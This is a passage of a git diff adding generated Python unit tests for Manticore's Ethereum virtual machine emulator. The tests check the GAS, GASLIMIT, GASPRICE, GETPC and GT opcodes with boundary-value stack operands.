+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMGAS.py b/tests/EVM/test_EVMGAS.py
new file mode 100644
index 0000000..9ef990f
--- /dev/null
+++ b/tests/EVM/test_EVMGAS.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_GAS(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_GAS_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='Z'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [999998])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMGASLIMIT.py b/tests/EVM/test_EVMGASLIMIT.py
new file mode 100644
index 0000000..905e641
--- /dev/null
+++ b/tests/EVM/test_EVMGASLIMIT.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_GASLIMIT(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_GASLIMIT_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='E'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMGASPRICE.py b/tests/EVM/test_EVMGASPRICE.py
new file mode 100644
index 0000000..0892a13
--- /dev/null
+++ b/tests/EVM/test_EVMGASPRICE.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_GASPRICE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_GASPRICE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=':'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMGETPC.py b/tests/EVM/test_EVMGETPC.py
new file mode 100644
index 0000000..d90700a
--- /dev/null
+++ b/tests/EVM/test_EVMGETPC.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_GETPC(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_GETPC_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='X'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMGT.py b/tests/EVM/test_EVMGT.py
new file mode 100644
index 0000000..e1cb519
--- /dev/null
+++ b/tests/EVM/test_EVMGT.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_GT(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_GT_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_GT_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x11'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_GT_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
